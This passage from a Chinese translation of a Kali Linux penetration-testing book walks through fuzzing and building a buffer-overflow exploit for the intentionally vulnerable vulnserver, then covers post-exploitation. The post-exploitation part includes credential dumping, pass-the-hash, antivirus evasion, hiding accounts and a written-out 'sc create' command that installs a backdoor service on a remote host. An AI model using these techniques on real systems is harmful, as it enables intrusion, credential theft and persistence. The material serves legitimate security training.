  ·EBX：这是一个32位的基础寄存器，并充当数据的指针。


  ·ECX：这是一个用于循环的32位寄存器。


  ·EDX：这是一个32位的数据寄存器，存储输入/输出指针。


  ·ESI/EDI：这些是32位的索引寄存器，它充当所有内存操作的数据指针。


  ·EBP：这是一个32位的栈数据指针寄存器。


  ·扩展指令指针（Extended Instruction Pointer，EIP）：这是一个32位的程序计数器/指令指针，它保存下一个要执行的指令。


  ·扩展栈指针（Extended Stack Pointers，ESP）：这是一个32位的栈指针寄存器，它精确地指出栈指向的位置。


  ·SS、DS、ES、CS、FS和GS：这些是16位段寄存器。


  ·NOP：表示没有操作。


  ·JMP：表示跳转指令。

 
 10.6.1　模糊识别漏洞
 
 攻击者必须能够识别任何给定应用程序中正确的模糊参数，以找到漏洞并加以利用。在本节中，我们将举一个由Stephen Bradshaw创建的易受攻击的服务器的例子。
 
 这个脆弱的软件可以从https://github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-Third-Edition/blob/master/Chapter%2010/vulnserver.zip下载。
 
 在本例中，我们将使用Windows 7作为受害者运行的一个易受攻击的服务器的系统。
 
 一旦下载了应用程序，我们就解压缩文件并运行这个服务器。这需要打开TCP的9999端口，连接到远程客户端，当脆弱的服务器启动并运行时，你能够看到如图10-27所示的界面。
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 图10-27　有漏洞的服务器
 
 攻击者可以连接到服务器的端口9999上，通过netcat来与服务器通信，如图10-28所示。
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 图10-28　与服务器通信
 
 模糊技术是一种攻击者专门向目标发送错误的数据包，从而在应用程序中产生错误，或者造成一般的故障的技术。这些故障会在应用程序中造成bug，并找出如何通过运行自己的代码来实现远程访问，从而实现利用。现在应用程序是可访问的，设置也已经完成，攻击者可以开始使用模糊技术。
 
 尽管有许多模糊工具可用，但是在Kali Linux2.0版本中，SPIKE是默认安装的。这是一个模糊工具包，可以通过提供脚本功能创建模糊工具，但它是用C语言编写的。有一组SPIKE编写的编译器可以使用：
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 SPIKE允许添加自己的脚本集，而不必用C编写几百行代码。
 
 访问应用程序的攻击者可以在易受攻击服务器中看到多个可用的选项。这包括部分有效输入命令：STATS、RTIME、LTIME、SRUN、TRUN、GMON、GDOG、KSTET、GTER、HTER、LTER和KSTAN。我们将使用generic_send_tcp编译器来模糊应用程序，使用编译器的格式如下：./generic_send_tcp host port spike_script SKIPVAR SKIPSTR：
 
 ·host：这是目标主机或IP。
 
 ·port：这是要连接的端口号。
 
 ·spike_script：这是在解析器上运行的SPIKE脚本。
 
 ·SKIPVAR和SKIPSTR：这使测试人员能够进入SPIKE脚本模糊会话的中间位置。
 
 让我们继续为readline创建一个简单的SPIKE脚本，运行SRUN，并分配一个字符串值作为参数：
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 在连接到IP/主机名之后，读取前面三行的第一行，然后运行SRUN并随机生成一个值。现在，让我们将这个文件保存为exploitfuzzer.spk。对目标运行SPIKE脚本，如图10-29所示。
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 图10-29　运行自己编写的脚本
 
 模糊确认没有服务器崩溃或其他任何事情，因此，SRUN的参数并没有漏洞。现在，下一步是选择另一个。这次我们将选择TRUN作为要模糊的参数：
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 保存exploitfuzz.spk文件并执行相同的命令，如图10-30所示。
 
 你现在应该能看到受害者计算机上的服务器崩溃了，Windows还提供了有用的信息，我们可以看到异常偏移41414141（转换为AAAA），如图10-31所示。
 
 现在我们知道，脆弱的TRUN命令造成了崩溃，我们必须关注导致崩溃的原因。这可以通过运行Wireshark来完成，它将为我们提供导致服务器崩溃的确切请求。
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 图10-30　运行exploitfuzz.spk
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 图10-31　看到的Windows信息
 
 1.用正确的以太网适配器运行Wireshark。
 
 2.使用模糊处理器（generic_send_tcp target port exploitfuzz.spk 0 0）重复利用。
 
 3.用过滤器tcp.port==9999过滤Wireshark。
 
 4.右键单击该包并遵循TCP流。你应该能看到如图10-32所示的界面。
 
 现在让我们继续编写一个简单的Python程序来击垮服务器。使用一个简单的套接字程序连接到IP，并使用10 000*Z的缓冲区来运行该命令，下面的代码提取提供了对应用程序漏洞进行模糊处理和调试的第一步。
 
  
  [image: ] 
 
 
 图10-32　TCP流
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 将文件保存为crash.py，并在目标IP上运行它，你可以看到server dead，服务器最大缓冲为10 000，这意味着Z*10 000作为输入会使服务器崩溃，如图10-33所示。
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 图10-33　server dead
 
 现在，下一步是确定到底有多少字符导致了服务器崩溃，以及可以使用的缓冲区大小。在服务器端，我们必须调试应用程序。为了进行调试，我们将从https://www.immunityinc.com/products/debugger/下载免疫调试器。这些调试器主要用于查找利用，分析恶意软件并逆向工程任何二进制文件。
 
 关注易受攻击的服务器，加载vulnerableserver.exe到免疫调试器，然后运行该应用程序，如图10-34所示。
 
  
  [image: ] 
 
 
 图10-34　运行vulnerableserver.exe
 
 下一步是使用Metasploit框架，通过定位到usr/share/metasploit-framework/tools/exploit/文件夹，并且在终端运行./pattern_create-l4000创建一个模式，如图10-35所示。
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 图10-35　创建模式
 
 你可以将生成的内容输出到一个文件中，也可以从终端中复制，或者通过添加其他变量来添加到Python程序中。这一次，我们将禁用缓冲区，并使用由利用工具创建的模式，其长度为4000，代码如下所示：
 
  
  [image: ] 
 
 
  
  [image: ] 
 
 
 再一次针对目标运行crash.py，将导致服务器再次崩溃，并且所有的Z字符都被所创建的模式所取代。在脆弱的服务器上，我们能够看到来自免疫调试器的寄存器，它提供了存储在EIP中的下一条指令，如图10-36所示。
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 图10-36　在脆弱服务器上看到寄存器
 
 现在，模糊处理结束了。接下来，我们将重点讨论如何创建Windows特定的漏洞利用。
 
 
 10.6.2　制作Windows特定的利用
 
 要创建Windows特定的利用，我们必须确定EIP的正确偏移量。这可以通过使用漏洞利用工具（如patter_offset）来提取，这些工具使用了EIP的输入，其长度与创建模式的长度相同：
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 这意味着在创建的模式中使用EIP找到了偏移匹配。现在我们知道，缓冲2002已经足以让服务器崩溃，我们可以开始溢出。
 
 下一步是发现EIP寄存器存储的汇编JMP ESP的操作码。在免疫调试器中，查看可执行模块并选择essfunc.dll，如图10-37所示。
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 图10-37　查看可执行模块
 
 右键单击并搜索命令，输入jmp esp。我们应该能够看到第一个JMP ESP寄存器的CPU线程。复制地址625011AF FFE4JMP ESP，如图10-38所示。
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 图10-38　CPU线程
 
 625011AF是存放汇编操作码的位置。下一步是将地址转换为xAF\x11\x50\x62的shell代码。
 
 使用msfvenom创建一个Windows有效负载，在终端上运行下面的命令，该命令将在攻击者的IP上提供一个Meterpreter反向shell：
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 最后，我们处于创建完整的利用的最后阶段，通过添加NOP，然后溢出缓冲区，并将shell代码写入运行脆弱服务器的系统。下面的代码是利用脆弱服务器的完整Python代码：
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 一旦利用完成，请确保监听器正在运行，如图10-39所示。
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 图10-39　监听器正在运行
 
 现在一切都已经设置好了，攻击者可以使用Python编程来执行和制作Windows特定的漏洞利用。下一步是从终端运行crash.py，如以下代码所示：
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 成功的利用会用shell代码覆盖了缓冲区，然后作为一个反向shell给攻击者，如图10-40所示。
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 图10-40　攻击成功
 

  10.7　小结


  在这一章中，我们将重点关注了漏洞利用的基础，并介绍了将侦察发现转化为确定行为的不同工具，从而在测试人员和目标之间建立正确连接。


  Kali提供了多个工具来促进开发、选择和利用激活，包括内部的Exploit-DB数据库，以及一些简化了这些利用的使用和管理的框架。我们深入了解了Metasploit框架，使用Armitage管理多个shell，我们还学习了如何将不同类型的Exploit-DB文件编译成真正的漏洞利用软件。


  我们还关注了如何通过识别不同的模糊技术来开发Windows的漏洞利用。还学习了将shell代码加载到自定义的利用。


  在第11章中，我们将学习攻击者杀链最重要的部分和后期利用、权限升级、内网漫游、破解域信任和端口转发。


  第11章　操控目标与内网漫游


  如果将渗透测试定义为利用一个系统，那么在利用后对目标进行操控就是测试人员的真正目的。这一步表明了漏洞利用的严重程度，以及它对组织的影响。本章将重点介绍直接的后利用活动，以及横向提权方面——使用所利用的系统作为起点，跳转到网络上的其他系统的过程。


  在本章中，你将学习：


  ·本地提权。


  ·后利用工具。


  ·目标网络内的内网漫游。


  ·破坏域信任。


  ·支点攻击与端口转发。


  11.1　破解的本地系统上的活动


  通常，很有可能获得一个系统的guest或user访问权限。攻击者获得重要信息的能力，将受到降低的权限级别的限制。因此，一种常见的后利用行为是将访问权限从guest级别提升到user，再到administrator，最后到SYSTEM级别。这种提升访问权限的方式通常被称作垂直提权（vertical escalation）。


  用户可以通过一些技术来获得高级访问凭证，包括以下几种方法：


  ·使用网络嗅探器、键盘记录器来捕获传送的用户凭证（dsniff可以用来从活动的传输或者Wireshark或tshark会话中保存的一个pcap文件来提取密码）。


  ·对本地存储的密码进行一个搜索。有些用户会将密码收集到一个电子邮件文件夹（经常被命名为passwords），由于密码重复使用，而且简单的密码系统是很常见的，所以找到那些密码，并在升级的过程中使用。


  ·NirSoft（www.nirsoft.net）开发了几款免费的工具，可以上传到入侵系统中，使用Meterpreter从操作系统和缓存密码的应用程序（邮件应用程序、远程访问软件、FTP和网络浏览器）中提取密码。


  ·使用Meterpreter来转储SAM和SYSKEY文件。


  ·当一些应用程序加载时，它们使用特定的顺序读取动态链接库（Dynamic Link Library，DLL）文件。创建一个与合法DLL同名的假DLL文件是可能的，把它放在一个特定的目录位置，让应用程序加载并执行它，最终实现攻击者的权限提升。


  ·应用一个使用缓冲区溢出的利用或其他手段来提升权限。


  ·通过Meterpreter执行getsystem脚本，自动地将管理员权限提升到系统级别。

 
 11.1.1　对已入侵的系统进行快速侦察
 
 一旦系统被入侵，攻击者需要获得有关该系统的关键信息，它的网络环境、用户和用户账号等信息。通常情况下，他们将在shell提示符下输入并调用一系列命令或脚本。
 
 如果被入侵的系统是基于Unix平台的，典型的本地侦察命令见表11-1。
 
 表11-1　Unix平台的本地侦察命令
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 这些命令包含了可用选项的简要说明。完整信息请参考相应命令的帮助文件，在那里可以了解如何使用它们。
 
 对于Windows系统，命令形式如表11-2所示。
 
 表11-2　Windows系统下的侦察命令
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 11.1.2　找到并提取敏感数据——掠夺目标
 
 术语掠夺（pillaging，有时也称为pilfering）是黑客成功攻击计算机系统后的延续，这些黑客像海盗一样尽最大可能偷窃和毁坏目标。这个术语已经流传下来，特指当一个系统被攻占后，攻击者完成偷窃和修改个人财产以及财务数据的行为。
 
 之后，攻击者聚焦在第二目标——系统文件，利用这些系统文件提供的信息来支持另外的攻击。第二目标的文件选择取决于目标的操作系统。举个例子来说，如果系统是Unix，那么攻击者就会把下列文件作为工作目标：
 
 ·系统和配置文件（通常在/etc目录下，但根据实现也可能在/usr/local/etc下，或者其他位置）。
 
 ·密码文件（/etc/password和/etc/shadow）。
 
 ·在.ssh目录中的配置文件和公钥与私钥。
 
 ·可能包含在.gnupg目录中的公钥和私钥环。
 
 ·电子邮件和数据文件。
 
 在Windows系统中，攻击者会将以下文件作为攻击目标：
 
 ·可被用来提取密码、加密密钥等的系统内存。
 
 ·系统注册表文件。
 
 ·安全账号管理（Security Account Manager，SAM）数据库，包含密码的散列版本，或者SAM数据库的替代版，可以在%SYSTEMROOT%\repair\SAM与%SYSTEMROOT%\System32\config\RegBack\SAM中找到。
 
 ·任何用于加密的其他密码文件或者种子文件。
 
 ·电子邮件和数据文件。
 
 [image: ]别忘了检查包含临时项目的文件夹，如附件。举个例子，UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\可能包含让人感兴趣的文件、图片和cookies。
 
 如上所述，这些系统内存包含了大量的攻击者可以利用的信息。因此，它通常是一个你需要优先获取的文件。系统内存可以从几个来源下载，下载文件是一个独立的镜像文件，这些来源如下：
 
 ·通过上传一个工具到被破解的系统然后直接复制内存（这些工具包括Belkasoft RAM capturer、Mandiant Memoryze和MonsolsDumpIt）。
 
 ·通过复制Windows休眠文件hiberfil.sys，然后利用Volatility来解密和分析文件。Volatility可以在Kali的Forensics菜单中找到，是一个分析内存的框架，内存可以转储自系统RAM，以及其他包含系统内存的文件。它依赖于用Python编写的插件来分析内存和提取数据，这些数据包括加密密钥、密码、注册表信息、进程以及其他相关信息。
 
 ·通过复制一个虚拟机，然后将VMEM文件转换为内存文件。
 
 如果你上传一个旨在于被破解的系统中抓取内存的程序，有可能这个特定的应用会被杀毒软件识别为恶意软件。大多数的杀毒软件能识别散列签名和内存获取软件的行为，如果物理内存的敏感数据有被泄露的风险，它就会通过拉响警报来进行保护。获取软件将被隔离，目标会收到一个关于这个攻击的警报。
 
 [image: ]为了避免这种情况的发生，用Metasploit框架，使用以下命令来运行在目标内存中的可执行文件：
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 前面的命令将calc.exe作为一个虚拟的可执行文件执行，但是，实际上上传了内存获取可执行文件，并在它的进程空间中运行。
 
 这个可执行文件并不显示在进程列表中，例如任务管理器（Task Manager），并且使用数据取证技术的检测更加困难，因为它并不写入硬盘。此外，它会避开系统的杀毒软件，因为它一般不去内存空间搜索恶意软件。
 
 物理内存一旦被下载，就可以利用Volatility框架进行分析，Volatility框架是设计来取证分析内存的一系列Python脚本。如果操作系统支持，Volatility将会扫描内存文件并提取下列内容：
 
 ·镜像信息和系统数据，充分到可以将镜像与源系统联系在一起。
 
 ·运行进程、加载的DLL、线程、套接字、连接和模块。
 
 ·开放的网络套接字和连接，最近打开的网络连接。
 
 ·内存地址，包括物理的和虚拟的内存映射。
 
 ·LM/NTLM散列和LSA私钥。LanMan（LM）密码散列是微软保护密码的初衷。这么多年过去了，现在它已经很容易被攻击，而且很容易将这些散列恢复成实际的密码。NT LanMan（NTLM）是最新的抵抗攻击的散列。然而，它们通常和NTLM版本一起存储，以达到向后兼容的目的。本地安全权威（Local Security Authority，LSA）存储的密钥是本地的密码：远程访问（有线的和无线的）、VPN、自动登录口令等。任何存储在系统的密码都是脆弱的，特别是当用户重复使用密码时。
 
 ·存储在内存中的特定正则表达式或字符串。
 
 创建附加账户
 
 下面的命令是具有高度侵略性的，通常会被系统拥有者在应急响应进程中检测到。然而，它们会频繁地被一个攻击者植入，以此来转移对更持久的访问机制的注意，相关的命令参见表11-3。
 
 表11-3　一些具有高度侵略性的命令
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 如果你创建一个新的用户账户，那么该账户会被任何一个登录被攻击系统的欢迎界面的用户注意到。为了使这个账户不可见，你需要在命令行用下面的REG命令修改注册表：
 
  
  [image: ] 
 
 
 这个命令将修改指定的注册表来隐藏用户账户（/V）。基于目标的特定操作系统版本，会有一些特别的语法要求，因此，首先得确定Windows版本，并且在攻击目标之前，在一个可控的测试环境中验证它。
 
 
 11.1.3　后利用工具
 
 后利用是一门利用现有的访问权限去进一步实施提权、利用、数据泄露等攻击行为的艺术。在后续章节中，我们将介绍三种不同的后利用工具：Metasploit、Empire和CrackMapExec。
 
 Metasploit框架
 
 Metasploit用来支持利用和后利用活动。目前的版本大约包括183个Windows模块，它们简化了后利用活动。我们将讨论其中一些最重要的模块。
 
 在下面的屏幕截图中（图11-1），我们成功地利用了一个Windows 2008 R2系统（一个“经典”的攻击，经常被用来验证Meterpreter的一些复杂方面）。第一步就是直接侦察网络和被攻击的系统。
 
 初始的Meterpreter shell在一段时间内是脆弱的和易受攻击的。因此，一旦一个系统被利用，我们将移动这个shell，然后将其和一个更加稳定的进程绑定在一起。这样也会使利用更难被检测到。在Meterpreter的提示符，输入ps来获得运行进程列表，如图11-1所示。
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 图11-1　输入ps来获得进程列表
 
 ps命令会返回每个进程的完整路径名。在图11-1中，这点被忽略了。ps列表表明c:\windows\explorer.exe正在运行。在这个特定的例子中，它被识别为ID为604的进程，如图11-2所示。由于这是一个稳定的应用，我们将把shell移动到这个进程中。
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 图11-2　将shell移动到ID为604的进程
 
 我们必须确认的一个事实是：我们是否在一台虚拟机上？使用Meterpreter，打开被破解系统和攻击者之间的会话，执行run post exploit module checkvm命令。返回的数据为This is a Sun VirtualBox Virtual Machine，如图11-3所示。
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 图11-3　执行命令后返回的数据
 
 一些通过Meterpreter使用的重要的后利用模块见表11-4。
 
 表11-4　Meterpreter中重要的后利用模块
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 例如，让我们在入侵的系统上运行winenum，它将转储所有重要的注册表密钥、LM散列，用于内网漫游和提权。这可以通过在Meterpreter shell上执行run winenum来实现，如图11-4所示。
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 图11-4　run winenum运行结果
 
 你将看到确认信息：All tokens have been processed（所有的令牌都已被处理），如图11-5所示。
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 图11-5　确认信息
 
 攻击者可以通过使用Meterpreter和改名模块来假冒会话令牌。最初，它是一个独立的模块，通过使用会话令牌来创建一个模拟用户。这些类似于网络会话的cookie识别用户，而不必每次都要求输入用户名和密码。类似地，同样的情况也适用于计算机和网络。
 
 攻击者可以通过在Meterpreter shell执行use incognito来运行incognito，如图11-6所示。
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 图11-6　运行incognito
 
 例如，如果本地用户使用了Meterpreter shell，现在将用户令牌模拟为系统用户NT Authority，普通用户就可以享受系统用户的权限。
 
 为了运行这个模拟，攻击者可以从Meterpreter shell运行impersonate_token，如图11-7所示。
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 图11-7　运行impersonate_token
 
 Empire项目
 
 Empire工具是当前最强大的后利用工具，被全世界的渗透测试人员广泛使用，用于在测试中发起各种各样的攻击以揭示系统的漏洞。Empire是一个纯粹的PowerShell后期漏洞利用代理工具。Empire还包含了其他一些重要的工具，比如mimikatz。本节我们将近距离观察如何利用PowerShell的Empire工具在目标系统提权，而无须植入后门或使用任何入侵技术。
 
 测试人员可以通过使用git下载Empire：
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 如图11-8所示，安装完成后，根据提示，输入与服务器协商的密码。该密码也可用于重置数据库。
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 图11-8　Empire安装完成界面
 
 在你使用Empire工具时，reset.sh是一个十分重要的文件。它用于完全删除数据库并创建一个新的数据库。安装完成后，运行./empire启动Empire，可以看到如图11-9所示的画面。
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 图11-9　Empire启动界面
 
 当前，Empire工具大约包含285个内置模块。表11-5是Empire中比较重要的一些命令，它们的功能与Metasploit和Veil-Pillage类似，但用法不同。
 
 表11-5　Empire中的重要命令
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 Empire由4类重要的角色组成：
 
 ·监听器（Listener）：类似于Meterpreter的监听器，等待接收来自被破解系统的连接。监听器管理提供了创建不同类型本地监听器的接口，如dbx、http、http_com、http_foreign、ttp_hop和meterpreter。本章我们将探讨http类型的监听器。
 
 ·Stager：Stager为OS X、Windows和其他操作系统提供不同的模块系列，包括DLL、宏和单行命令等，外部设备可以利用这些模块发起更明智的社会工程学攻击和物理控制台攻击。
 
 ·代理（Agent）：代理指连接到监听器的僵尸机。通过运行agent命令，可以直接进入代理菜单，访问所有代理。
 
 ·登录与下载（Logging and download）：这部分只有当代理成功连接到监听器时才可以访问。与Meterpreter类似，Empire允许在本地通过PowerShell运行mimikatz命令，从而获得更多信息以发起更有针对性的攻击。
 
 首先要做的事情是开启本地的监听器。listeners命令会让我们跳转到监听器菜单。如果有活跃的监听器，窗口就会显示。图11-10显示了利用listener http命令创建一个新的监听器。
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 图11-10　创建监听器
 
 选择好监听器后，设置默认的80端口号。如果运行的是HTTP服务，你可以通过set Port portnumber命令修改端口号。一定要记住，Empire中的命令都是区分大小写的。你还可以使用tab键的特性，它可以自动更正命令并提供命令选项。
 
 如图11-11所示，接下来是执行和启动。启动器允许我们选择语言：Python或者PowerShell：
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 图11-11　启动监听器
 
 如图11-12所示，为了让目标系统变成代理，攻击者可以利用已有的Meterpreter会话，以及由Empire生成的负载，来运行PowerShell。
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 图11-12　运行PowerShell
 
 负载一旦在远程系统运行，Empire工具的界面就会显示以下内容，如图11-13所示。
 
 为了与代理交互，你需要输入agents来显示所有连接到你的代理，然后运行interact"name of the agent"（需要交互的代理的名字）。如图11-14所示，你可以从HTTPlistener向代理运行系统级命令。
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 图11-13　Empire界面显示内容
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 图11-14　与代理进行交互
 
 CrackMapExec
 
 CrackMapExec（CME）是另一种后利用工具，可用于大规模活动目录网络的自动安全审计。CME设计时就考虑了隐蔽性，遵从“自给自足”的原则：内置了大量活动目录属性和协议，使其能入侵大多数端点防护、IDS和IPS。
 
 CME大量使用了Impacket库和PowerSploit，结合各种网络协议，可以执行各种各样的后利用技术。CME可以通过在终端运行apt-get install crackmapexec命令直接安装。这里我们安装的是3.1.15版本。如图11-15所示，成功安装CME后，可以运行crackmapexec-L命令查看工具中的所有模块。
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 图11-15　CME的所有模块
 
 [image: ]测试人员在安装过程中或者安装后都可能碰到crackmapexec相关错误。因为CME的API密钥是从Empire转换的。在这种情况下，你可以在终端中运行git clone--recursive https://github.com/byt3bl33d3r/CrackMapExec来直接克隆工具。
 
 CME用于目标确定的红队训练或渗透测试，其主要分成三个部分：协议、模块和数据库。
 
 ·协议（Protocol）：CME支持SMB、MSSQL、HTTP、WINRM和SSH，这些都是大多数组织常用的协议。
 
 ·模块（Module）：表11-6给出了CME中可用的模块信息。但CME的模块不仅限于此，测试人员也可以使用第三方插件，或者编写自己的PowerShell脚本，然后在CME中调用它们。
 
 表11-6　CME提供的模块
 
  
  [image: ] 
 
 
 ·数据库（Database）：如图11-16所示，cmedb是CME的数据库，用于存储利用后获取的主机和凭据信息。
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 图11-16　CME数据库内容
 
 例如，我们利用从破解的系统获取的hashdump来运行ipconfig命令，代码如下：
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 图11-17显示，成功传递散列值表明凭据是有效的，并且ipconfig命令在目标主机成功执行。
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 图11-17　在目标主机执行ipconfig命令
 
 
 11.2　横向提权与内网漫游
 
 在横向提权中，攻击者保留其现有的凭据，但是，将它们作用于不同的用户账户。例如，被入侵系统A上的一个用户，去攻击系统B上的一个用户，尝试去入侵系统B。
 
 攻击者内网漫游时需要利用受损的系统。主要用于提取常见用户名的散列值，如ITsupport（IT支持）、LocalAdministrators（本地管理员）或者已知的默认用户管理员，从而在连接在同一域下的所有可用系统上实现横向提权。例如，这里我们将使用CME在一定的IP范围内使用相同的密码散列，从而在一个黑客控制的共享磁盘上转储所有密码。
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 图11-18显示了SAM转储在整个IP范围内运行的输出，无须植入任何可执行文件或后门就可以提取SAM的密码散列。
 
 大多数时候，我们可以使用本地管理员的密码散列成功登录整个域的系统中心配置管理器（Microsoft System Center Configuration Manager，SCCM）。SCCM管理所有由组织管理的系统的软件安装。登录后，就可以从SCCM执行命令和控制了。
 
 运行以下命令，你也可以利用捕获的用户名和密码散列在期望的目标上运行Mimikatz：
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 图11-19显示了mimikatz在目标系统的输出。可用于以纯文本形式提取密码而无须上传任何可执行文件或植入任何后门程序。
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 图11-18　提取的SAM密码散列
 
  
  [image: ] 
 
 
 图11-19　执行mimikatz的输出
 
 对于有经验的机构，该负载可能会被终端防护或者杀毒软件阻止，但如果用户是本地管理员的话，则该hashdump不会被阻止。
 
 CME能够很好地支持散列传递，可以从模块直接调用mimikatz，或者调用Empire PowerShell实现数据泄露。
 
 
 11.2.1　Veil-Pillage
 
 Veil-Pillage是一个作为主要Veil框架的一部分开发的模块，攻击者可以在后利用过程中使用该模块。在本节中，我们将简要介绍一下Veil-Pillage的组织方式，以及可用于实现渗透测试目标的不同模块类型。
 
 图11-20描述了Veil-Pillage框架的主要部分：
 
  
  [image: ] 
 
 
 图11-20　Veil-Pillage 框架
 
 Pillage框架中所有可用模块的更多详情如下：
 
 ·凭证（Credentials）：提供一个模块列表，可用于抓取所有凭据，并且hashdump入侵系统的有效用户名和密码。
 
 ·枚举（Enumeration）：这部分提供了一个模块列表，专门用于枚举域网络，同时提供了一个验证凭据的模块。
 
 ·碰撞（Impacket）：可以用来运行不同类型的shell（SMB、PsExec）。
 
 ·管理（Management）：管理和提权，如启用远程桌面、注销和检查UAC等。
 
 ·负载传递（Payload_delivery）：一个模块列表，用于交付不同种类（如EXE和PowerShell）的负载。
 
 ·持久性（Persistence）：包括在持久性会话中的关键模块，例如添加本地和域用户、查找粘滞键等。
 
 ·强应用（PowerSploit）：掠夺的最重要的部分，其中模块被设计为执行远程代码、数据提取和运行自定义的PowerShell利用。
 
 Veil-Pillage可以直接从GitHub复制，在终端运行：git clone https://github.com/Veil-Framework/Veil-Pillage。
 
 一旦复制完成，使用cd Veil-Pillage/，并通过运行./update.py git clone来更新最新程序包，匹配旧版本的impacket，它可能不会运行Veil-Pillage，因此建议运行pip install impacket==0.9.13。下载好应用程序后，可以从复制的位置运行./Veil-Pillage.py，你将看到如图11-21所示的界面。
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 图11-21　Veil-Pillage加载画面
 
 [image: ]测试人员可能面临未找到模块的错误提示，例如“No module namedmodules.*”。此时，必须确保已经将Veil-evasion安装到了Kali上，并确保安装了impacket v0.9.13。
 
 
 11.2.2　入侵域信任与共享
 
 在本节中，我们将讨论可以操纵的域层次结构，从而使用在Active Directory上实现的功能。
 
 我们将利用Empire工具来捕获所有域级的信息和系统间的信任关系。攻击者可以通过Empire工具进行各种类型的查询，以获取被入侵系统的当前状态。表11-7提供了红队训练和渗透测试活动中最有效的一些模块。
 
 表11-7　Empire的一些高效模块
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 在本例中，我们利用situational_awareness/network/powerview/get_forest模块获取一个连接域的森林信息。如图11-22所示，成功运行该模块后将显示域内的森林信息。
 
 在一个例子中，攻击者始终定位包含ADMIN$和C$的系统，从而可以在其中植入后门或者收集信息，然后就可以使用这些凭据远程执行相关命令。
 
 如图11-23所示，这可以通过使用situational_awareness/network/powerview/share_finder模块实现。
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 图11-22　域内的森林信息
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 图11-23　使用situational_awareness/network/powerview/share_finder模块
 
 
 11.2.3　PsExec、WMIC和其他工具
 
 PsExec是微软关于Telnet的替代，可以从https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx下载。
 
 通常，攻击者利用PsExec模块，使用有效凭证获得与远程系统的访问并与之通信，如图11-24所示。
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 图11-24　运行PsExec
 
 最初，该可执行文件是为系统内部设计的，以作为框架的一部分来解决任何问题。现在可以通过运行PsExec Metasploit模块并执行远程选项来利用。这将打开一个shell，测试人员可以输入用户名和密码，也可以传递散列值，因此无须破解密码散列即可访问系统。现在，如果一个系统在网络上受到入侵，那么不需要任何密码，就可以执行所有内网漫游。
 
 图11-25提供了具有有效凭据的PsExec的Metasploit模块。
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 图11-25　具有有效凭据的PsExec的Metasploit模块
 
 WMIC
 
 针对新的目标系统，攻击者和渗透测试人员利用内置的脚本语言，例如，Windows设备管理命令行（Windows Management Instrumentation Command-line，WMIC），通过使用命令行和脚本界面来简化访问Windows配置。如果被破解系统支持WMIC，可以通过一些命令来收集信息。请参见表11-8。
 
 表11-8　信息收集命令
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 PowerShell是一种基于.NET框架的脚本语言，在控制台上运行，提供用户访问Windows文件系统和对象的接口，例如注册表。Windows 7及更高的操作系统上默认安装PowerShell。WMIC为PowerShell提供了扩展脚本支持和自动化，允许用户对本地和远程目标进行Shell集成和互操作。
 
 PowerShell允许测试人员访问被破解系统上的shell和脚本语言。作为Windows操作系统的自带程序，其命令的使用不会触发杀毒软件。当脚本在远程系统上运行时，由于PowerShell不会写入磁盘，因而可以绕过杀毒软件和白名单控制（假设用户已经允许使用PowerShell）。
 
 PowerShell支持一些被称为cmdlets的内置函数。其优点之一是由于cmdlets是常见的Unix命令的别名，所以键入ls命令将返回一个典型的目录列表，如图11-26所示。
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 图11-26　使用ls命令的屏幕截图
 
 PowerShell是一种支持复杂操作的丰富的语言，建议用户花时间来熟悉它的使用。一些较简单的、可以立即在破解后使用的命令见表11-9。
 
 表11-9　简单的PowerShell命令表
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 渗透测试人员可以使用Windows自带的命令、DLL、.NET函数、WMI调用和PowerShell的cmdlets命令一起创建后缀名为.ps1的PowerShell脚本。使用WMIC利用凭证内网漫游的例子是，攻击者在远程机器上运行进程，从内存转储明文密码。执行的命令如下：
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 侦察也应该扩展到本地网络。既然你正在“盲目”地工作，你将需要创建一个被击垮主机可以与之通信的活跃系统和子网的映射。首先在shell提示符下输入IFCONFIG（基于Unix的系统）或IPCONFIG/ALL（Windows系统）。这将允许一个攻击者确定以下内容：
 
 ·DHCP寻址是否启用。
 
 ·本地IP地址，这将确定至少有一个活跃子网。
 
 ·网关的IP地址和DNS服务器地址。系统管理员通常遵循网络中的编号惯例，并且，如果攻击者知道一个地址，例如，一个网关服务器的地址192.168.0.1，他们将用ping寻址，如192.168.0.123、192.168.0.138等，从而找到其他子网。
 
 ·用于利用活动目录（Active Directory）账号的域名。
 
 如果攻击系统和目标系统都使用的是Windows操作系统，net view命令可以用来枚举网络上的其他Windows操作系统。攻击者使用netstat–rn命令来审查那些可能包含通往其他网络，或者感兴趣系统的静态路由的路由表。
 
 可以使用nmap来扫描本地网络嗅探出ARP广播。另外，Kail有几个工具可以用于SNMP端点分析，包括：nmap、onesixtyon和snmpcheck。
 
 部署一个数据包嗅探器来映射流量将会帮助你识别主机名、活跃子网和域名。如果DHCP寻址没有启用，它也将允许攻击者确定任何未使用的、静态的IP地址。Kail预配置了Wireshark（基于GUI的数据包嗅探器），但是你可以在一个后利用脚本中或者从命令行使用tshark，如图11-27所示。
 
 Windows证书编辑器
 
 攻击者通常利用Windows证书编辑器（Windows Credential Editor，WCE）来添加、改变、列举和获取NT/LM散列，以及列举注册会话。WCE可以从以下网站下载：http://www.ampliasecurity.com/research/windows-credentials-editor/。
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 图11-27　使用tshank命令
 
 如图11-28所示，利用Meterpreter shell，可以将wce.exe上传到被入侵的系统。上传成功后，可以运行shell命令查看WCE是否成功。然后运行wce.exe-w就可以列出所有用户的登录会话，包含明文密码。
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 图11-28　枚举用户的登录会话
 
 随后，攻击者就可以利用这些凭证实现内网漫游，从而完成同一凭据的多系统使用。
 
 渗透测试人员可以主要使用PowerShell的自动化Empire工具针对活动目录、信任域或者提权发起攻击。我们将在第12章重点介绍。
 

  11.2.4　利用服务实现内网漫游


  如果渗透测试人员遇到一个没有PowerShell调用的系统怎么办呢？在这种情况下，SC对发起内网漫游（包括所有可以访问的系统或者可以匿名访问共享文件夹的系统）来说非常有用。


  1.*net use\\advanced\c/user:advanced\username password。


  2.dir\\advanced\c。


  3.将创建的后门程序拷贝到共享文件夹。


  4.创建一个服务，名为backtome。


  5.*Sc\\remotehost create backtome binpath="c:\xx\malware.exe"。


  6.Sc remotehost start backtome。

 
 11.2.5　支点攻击和端口转发
 
 在第9章中，我们讨论了通过绕过内容过滤和NAC的连接端口转发的简单方法。在本节中，我们将使用Metasploit的Meterpreter在目标上进行支点攻击和端口转发。
 
